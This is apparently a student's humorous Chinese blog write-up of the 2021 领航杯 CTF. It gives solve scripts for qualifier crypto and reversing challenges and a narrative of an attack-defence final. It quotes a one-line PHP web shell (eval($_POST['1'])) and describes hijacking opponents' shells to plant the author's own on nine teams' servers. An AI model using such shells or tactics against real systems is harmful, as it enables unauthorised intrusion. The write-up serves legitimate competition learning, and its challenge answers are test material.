2021领航杯

初赛

比赛时间六小时,平台存活时间5分钟,哥们手里全是flag,全程刷新平台尝试提交,而且整个一江苏省赛,连个比赛群都没有,只有个指导老师通知群

懂了,这是对自身题目质量的自信和对学校指导老师的信任,贵比赛必定题目质量极高

Crypto

ECC

爆破,可以中间相遇减少点时间(抄别的比赛的题,结果自己改题的时候还有语法错误

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from Crypto.Util.number import *

p = 64464091191308356774703439660771627086045800299627641179047457478059588557461
a = 31926335967105564755113987930261069322507794703287741857397622356704769886356
b = 34835808070187351680507689900273321615070127680320357724483770400791707112940
Gx = 2053202552422630348010474635096983783565667661786369125783579647572276572403
Gy = 51320753844844801021362329076409450910659564359017581255542897537756778371539
Zp = Zmod(p)
EC = EllipticCurve(Zp, [a, b])
G = EC(Gx, Gy)
K = EC(31981799071949968743482831587417174146463993877255771340814476669214408840460,15144025062588325012239455117890516531350002058200271280110877844265896081387)

Da = [4,3,1246057,2357351,435374689]
Db = [1,1,1016839,813641,35993350]
kn = crt(Db,Da)
n = 4*3*1246057*2357351*435374689
set = {(n*i*1500+kn)*G:i for i in range(1500)}

for i in range(1500):
C = n*i*G+K
if(C in set):
k = 1500*set[C]*n+kn-n*i
print(long_to_bytes(k))
break

Misc

BMC

有工具,一把梭(github下载之后,点开即送flag

https://github.com/0xTowel/BMC-Viewer-Backup

Re

GetFlag

哥们不懂二进制,只是听说很tm水

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
key  = list("123456789getflag")
c1 = 'abcdefgh13462579'
c2 = "ccccebeebbeafbeeeabefabfaffffafaafaaea4b292he31922g6d54a62hchf2bb9ehagdc"
output = ''
tmp1 = ''
for i in c2:
output += hex(c1.find(i))[2:]
listput = list(output)
tmp1 = []
for i in range(36):
tmp1.append(((int(listput[i],16) << 4) | (int(listput[i + 36],16) & 0xf)))
v0 = list('a' * 36)
for i in range(36):
v0[35-i] = tmp1[i] ^ ord(key[i % 16])
inside = []
for i in range(36):
inside.append(v0[i] ^ i)
flag =""
for i in inside:
flag += chr(i)
print(flag)

签到

一些不是重要但是又很有趣的东西

比赛公告:本次比赛采用动态flag反作弊监控技术,经组委会发现比赛作弊或对比赛平台产生攻击行为,将采取禁赛、直接取消成绩等处罚措施,希望各位选手严格遵守竞赛规则……

现实:比赛刚开始平台就给人日烂了,变成了群文件做题,三题定天下(

一句话总结就是:CTF解题大赛(× exp搜索大赛(√ flag提交大赛(√

决赛

看了眼决赛居然是awd模式,我还在寻思这主办方还能办awd?而且是听说没有pwn的awd,抱着看热闹的态度还是选择去线下看看(主要是综测得时候能加点分)

为了给大家带来身临其境的感受,我决定跟大家分享我的生活,时代都进步了,给大伙整点AR体验

赛前

先让大家和我一起登录我的微信

很久很久以前

xxxxx比赛将于xxxx举办xxxxxx……

[比赛座次示意图]

先不说画质有多离谱,反正这图我是看不懂的,一个队三个人你整四个座

懂了,第四个是给指导老师休息的是吧,彳亍,这么人性化的安排,我直接好评

10.8下午2:16

我:老师 明天我们线下赛是可以连接外网吗?

我:另外线下采用的是awd还是awdp模式呢(就是给不给流量

(石沉大海) 行吧,不理我就不理吧(

10.8下午2:22

老师:明天请各位同学11:30在西区主楼前集合,一起乘车前往,请相互告知@xxxx(我们队唯一的女生)

老师:@xx(我)@(另一个男生)

我:收到

(过了十几分钟)

老师:组委会表示不允许连接外网

好家伙?居然理我了?那这必须得抓住时机多问点

我:那比赛模式呢

我:比赛会给流量吗

(又过了十几分钟)

老师:[截图](很久之前发过的红头文件)

哥们是没有你这红头文件是吧,确定一下主办方有没有流量都这么难是吧

我们队唯一的女生:西区主楼在哪0.0

(秒回)

老师:就是一号楼

老师:最高的[表情]

我:意思是没有流量是嘛

我:那还有个问题是

我:这次的线下平台承办方是谁呀

(石沉大海2.0)?啥意思啊?当我不存在是吧?怎么进的线下没点B数吗?

10.9 前往赛场

做老师的车过来,路上玩手机给我玩晕车了(,半路上看了眼比赛场地,只看见场地在好高级的酒店里头,附近还有好多的小吃店

鬼鬼,这么有钱能租到这么豪华的场地,平台辣鸡不辣鸡无所谓,哥们能有茶歇吃就行了,要是平台烂了更好,哥们直接住在茶歇,变成茶歇区第一老带哥(逃

好奇心驱使着我偷偷溜进去看了一眼场地,在门口左看右看,看了半天没瞅见摆吃的的地方

完蛋,awd没茶歇,快乐少一半

等了半天等到指导老师买了点吃的和咖啡回来,门口吃完了之后就进比赛场地了

初入大厅,迎面有个巨大无比的带屏幕,在看看隔离带旁边有群不合群的四五个小伙子,看看胸前的牌子,原来是由五人组成的专业运维组,不过我没想多少,便打算去找自己的位置看看平台长啥样

哥们进去想着哥们初赛是第一,座位应该是离带屏幕最近的哪个角上坐着,于是直接奔着离大屏幕最近的角大步前进,走过去一看,居然的学校,哥们于是自信回头,想着哥们应该是另外一个角,背着包就往那冲,再定睛一看,上面清清楚楚写着几个大字xxxxxx有限公司,奇了怪了,于是我开始环顾四周,大厅找了个遍,终于在离屏幕最远的小角落里找到了南京航空航天大学字样,于是便赶紧招呼着几个队友坐下了

?啥意思??哥们初赛第一做最远的小角落?

再仔细想了想,好像我离运维近一点,有啥问题应该属于是头一个解决的,属于是主办方对哥们的特别优待,那也彳亍,于是便找了小角落的桌子的最角落的座位坐下了

过了一会过来一小姐姐,直接和哥们开始对话

  • “你好,我们这个位置不能做人的”
  • “为啥,你们这一共四个座为啥不能坐”
  • “我们桌子上放这个牌子这里是不能坐人的”
  • “彳亍,那我这就走”

哥们是座山是吧?坐在那就能给你那么大的牌子挡住了?

想了想说的也是,这么大的比赛,还请了这么重要的领导,总得把面子工程做到位,一定支持主办方的安排,是我情商太低了,即刻深度反思

座位调整完了之后,调了调地址啥的就能连上平台了

第一眼,这平台看着还挺好看?

再看一眼,确实好看,而且这HardCccc应该是个pwn题,我们pwn手有事干了(窃喜

总觉得哪里少点啥,再看一眼,nm,token都给我了,只能手动交flag?

为了避免我个人以小人之心度君子之腹,于是哥们请教了众多运维小哥哥中的几位

我:咱们平台有flag提交的api吗?

A:(疑惑脸)啥?

(我们俩看向B)

B:(故作镇定)怎么啦,平台有什么问题吗?

我:咱们平台flag提交的api在哪里呢?

B:(疑惑脸看向A)啥?

A:你说的是啥意思?

我:(无奈)咱们平台这个只能手动提交flag吗?

A:是的是的

B:手动交,要手动提交的

这波啊,这波是我不懂事,明明主办方写平台都那么辛苦了,我居然还要求用api提交,罪该万死

小事而已嘛,哥们自己改改脚本不就好了,找主办方的麻烦属于是我在这挑刺

帮队友调完ip之后,突然瞄见了自己前一天晚上写的flowcopy.py,于是打算起身去到运维组问问比赛给不给流量

我:那个,我想问一下,咱们比赛的时候给流量吗

A:(看向B)他问给流量吗?

B:(不解)啥流量?

我:就是交互流量啊

B:有的,有的,都是能访问到的

有人在致敬,但我不说是谁(逃

座位上发了会呆聊了会天,听主持人说了半天才知道,今天这比赛分两部分,高职组是解题,本科组是攻防,但大家坐在一个大厅,说了半天什么谁可以联外网,谁不能外网……反正说了一大堆也没听懂

于是干等了一个小时比赛就开始了(好像有哪个领导讲了点话,还宣布了比赛开始好像?

比赛期间

一句话总结:欢迎大家来到仙界!

俩web一pwn,有半小时的加固时间,打算先去备份源码,下载完了之后打算看一眼主页长啥样,地址一输,俩题打开都是迎面而来的Index of /,于是哥们果断举手,结果主办方坚定的告诉我这题就这样,我心想完蛋了,这下web题都看不懂了,这不是得给达成筛子?算求,看不懂就看不懂,哥们只管打人就行了

web1 SuperOA

半小时加固时间一过,去看看别人的站长啥样,地址一访问之后给我看傻了,别人的站都有是模有样的登录界面,就我们是个空站,哥们于是自信举手跟运维组反应

“您好,我们的环境和别人的不一样”

“啥意思?”

“你看我们的站一个php文件都没有”

“……”

“这个现在的index还是我自己写上去的”

“那你这就把index覆盖了啊”

“不是,我们这一个php都没有,我自己闲的没事干把自己站删了?连主页都没有不是要给check down?”

“……没事,你这文件夹都在,你继续加固就行”

“?这难道不是你们的问题?”

(转头离开)

“主页都没有你告诉我让我加固?”

(走远了)

经过了多次尝试,确实发现是一点办法都没有,于是扣了50分重置,结果重置完我们自己的账号没权限,然后运维又调了好久我才有权限备份和上传,(上面已经全是来自各地的🐎了),然后上了个waf,一打开,鬼鬼,警告日志直接给我弹满了,然后挂着waf抄流量,打了一圈之后我发现人均watchbird(?真就waf大乱斗?

抄了几个payload,发现还是有憨憨没上waf,反正薅羊毛,大家一起薅

然后回服务器上准备删马,随手cat了几个看看都长啥样,突然看见有个shell.php,cat出来,直白的写着eval($_POST['1']);

?????????????????????????????

现在人种马都不带密码的?

反手骑着别人的马把自己的马种了上去,这波啊,这波是瞎猫碰见死耗子,然后有了自己的马之后就为所欲为了,20个队给我种上了9个,这位老哥属于是带功臣(逃

有个功能全开的waf在,基本全给拦下来了,最后就剩下几个删不掉的不死马,但是我也没办法了(

web2 Baseflask

这题更是有意思,从头到尾整个站都是空的,里面除了别人的shell再啥也没有(?

我看了半天实在是不知道要怎么搞,然后没办法,反手来一个find / -name "*.php",结果整个服务器上啥也没有,然后随手敲了个find . -name "*flag*",突然发现除了flag文件还有个二进制文件叫readflag,于是下载下来拖进IDA看了一眼,伪代码大概如下:

1
2
3
freopen('/flag','r');
cin >> flag;
cout << flag;

?????????????????????????????????

这又是个啥?这不是web题吗?

然后看了一眼参赛手册,上面写着**”系统开放端口则需自行查看”**,于是哥们赶紧叫队友扫一下靶机开了哪些端口,有个9999,反手一连直接弹出来了个flag

nc就送flag,端口不回收,nc自由,我系Dawn_whisper,十月九日下午两点,和我一起大战领航杯(雾

????????????????????????????????????????????

web题为啥给我开了个TCP服务?还是直接给flag那种?

叫pwn手修好了之后,试着拿这种办法打一下别人的机子,好家伙,不打不知道,一打吓一跳,哥们一分钟写出来的exp,一次性打了17个flag(如图

??????????????????????????????

这exp直到最后一轮都还能打17个靶机,我严重怀疑这是pwn题(

pwn HardCccc

四个小时,全场零解,我的评价是:寄!

关于平台

只能说,除了看起来还行,没有一点点优点

连一次自己靶机要一分钟,上去就看见CPU利用率98%(麻了,然后自己还没权限(麻中麻

本平台极度流畅,因为只要你访问太多次就判断你是恶意攻击

本平台极度友好,因为你根本看不到自己靶机有没有被打

本平台极度智能,因为该平台可以随时生成奖状,自己需要即刻随时下载

本平台极度负责,因为我们根本不进行题目check,所以根本不会有人被check down!

下午四点多哥们就发现自己web1的MySQL库又给别人扬了,但是还没check down,直到比赛快结束了才进行了人工check扣分,而且根据主持人所说,”扬了数据库属于违规行为,需要你们溯源,找到是谁扬了你们的数据库他们就会被扣除一千分”

?????????????????????????????????????

自己没修好被扬数据库算违规?而且还靠选手溯源找凶手(高,实在是高.jpg

结束

全程靠waf大乱斗和几个马,还有理解不了的nc拿flag,迷迷糊糊打了个第五,混了个二等奖(?

赛后

微信推送

本次竞赛由江苏天创科技公司自主研发的产品“天创红客训练营安全攻防实战竞赛平台”提供技术平台支持。

CnHongKe平台已广泛应用到政企单位以及各大赛事的平台支持中,帮助政府、金融、通信、公共安全、能源等关键信息基础设施行业选拔网络安全人才,培养更多网络安全技术人员,江苏天创红客训练营将继续打造国内公益赛事,为提高国内红客人员技能贡献微薄力量!

我只能说,____

Summary

蚌埠住了,还是蚌埠住了